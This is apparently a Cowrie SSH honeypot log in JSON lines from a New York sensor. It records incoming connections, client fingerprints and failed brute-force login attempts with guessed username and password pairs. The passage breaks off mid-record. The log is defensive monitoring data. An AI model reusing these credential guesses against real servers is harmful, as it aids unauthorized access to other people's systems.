{"eventid":"cowrie.login.failed","username":"acunetix","password":"123","message":"login attempt [acunetix/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:27.266557Z","src_ip":"159.203.92.129","session":"3fa28294a267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:28.274173Z","src_ip":"159.203.92.129","session":"3fa28294a267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.152.250.192","src_port":36810,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba2d47e9248","protocol":"ssh","message":"New connection: 164.152.250.192:36810 (159.203.135.109:22) [session: 5ba2d47e9248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:54.171765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:54.252421Z","src_ip":"164.152.250.192","session":"5ba2d47e9248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:54.452636Z","src_ip":"164.152.250.192","session":"5ba2d47e9248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"1234","message":"login attempt [arkserver/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:55.161853Z","src_ip":"164.152.250.192","session":"5ba2d47e9248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:09:56.374926Z","src_ip":"164.152.250.192","session":"5ba2d47e9248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40852,"dst_ip":"159.203.135.109","dst_port":22,"session":"736e2db3ef8b","protocol":"ssh","message":"New connection: 159.203.92.129:40852 (159.203.135.109:22) [session: 736e2db3ef8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:16.773343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:16.936222Z","src_ip":"159.203.92.129","session":"736e2db3ef8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:16.940414Z","src_ip":"159.203.92.129","session":"736e2db3ef8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acunetix","password":"123456","message":"login attempt [acunetix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:17.547847Z","src_ip":"159.203.92.129","session":"736e2db3ef8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:18.630662Z","src_ip":"159.203.92.129","session":"736e2db3ef8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":12825,"dst_ip":"10.17.0.5","dst_port":22,"session":"81703ad01060","protocol":"ssh","message":"New connection: 20.193.141.133:12825 (10.17.0.5:22) [session: 81703ad01060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:29.321722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:29.326437Z","src_ip":"20.193.141.133","session":"81703ad01060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:29.526520Z","src_ip":"20.193.141.133","session":"81703ad01060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vnc","password":"vncuser","message":"login attempt [vnc/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:30.345054Z","src_ip":"20.193.141.133","session":"81703ad01060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:31.544500Z","src_ip":"20.193.141.133","session":"81703ad01060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":55014,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba44f4b459f4","protocol":"ssh","message":"New connection: 117.247.23.131:55014 (159.203.135.109:22) [session: ba44f4b459f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:53.688261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:53.693608Z","src_ip":"117.247.23.131","session":"ba44f4b459f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:54.549945Z","src_ip":"117.247.23.131","session":"ba44f4b459f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"By@123456","message":"login attempt [root/By@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:57.744843Z","src_ip":"117.247.23.131","session":"ba44f4b459f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:10:59.611080Z","src_ip":"117.247.23.131","session":"ba44f4b459f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60110,"dst_ip":"159.203.135.109","dst_port":22,"session":"8188f4ca7b3f","protocol":"ssh","message":"New connection: 159.203.92.129:60110 (159.203.135.109:22) [session: 8188f4ca7b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:01.347395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:01.372429Z","src_ip":"159.203.92.129","session":"8188f4ca7b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:01.376463Z","src_ip":"159.203.92.129","session":"8188f4ca7b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acunetix","password":"acunetix","message":"login attempt [acunetix/acunetix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:01.488193Z","src_ip":"159.203.92.129","session":"8188f4ca7b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:02.497873Z","src_ip":"159.203.92.129","session":"8188f4ca7b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":7879,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cf7eb47480f","protocol":"ssh","message":"New connection: 20.193.141.133:7879 (10.17.0.5:22) [session: 9cf7eb47480f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:34.323894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:34.328455Z","src_ip":"20.193.141.133","session":"9cf7eb47480f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:34.511820Z","src_ip":"20.193.141.133","session":"9cf7eb47480f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Huawei@123","message":"login attempt [admin/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:35.280099Z","src_ip":"20.193.141.133","session":"9cf7eb47480f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:36.467753Z","src_ip":"20.193.141.133","session":"9cf7eb47480f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36052,"dst_ip":"159.203.135.109","dst_port":22,"session":"0caf5025bc45","protocol":"ssh","message":"New connection: 159.203.92.129:36052 (159.203.135.109:22) [session: 0caf5025bc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:46.055638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:46.064137Z","src_ip":"159.203.92.129","session":"0caf5025bc45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:46.071632Z","src_ip":"159.203.92.129","session":"0caf5025bc45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acunetix","password":"acunetix123","message":"login attempt [acunetix/acunetix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:46.105236Z","src_ip":"159.203.92.129","session":"0caf5025bc45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:11:47.193084Z","src_ip":"159.203.92.129","session":"0caf5025bc45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37242,"dst_ip":"159.203.135.109","dst_port":22,"session":"9de618a67172","protocol":"ssh","message":"New connection: 159.203.92.129:37242 (159.203.135.109:22) [session: 9de618a67172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:31.462897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:31.546909Z","src_ip":"159.203.92.129","session":"9de618a67172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","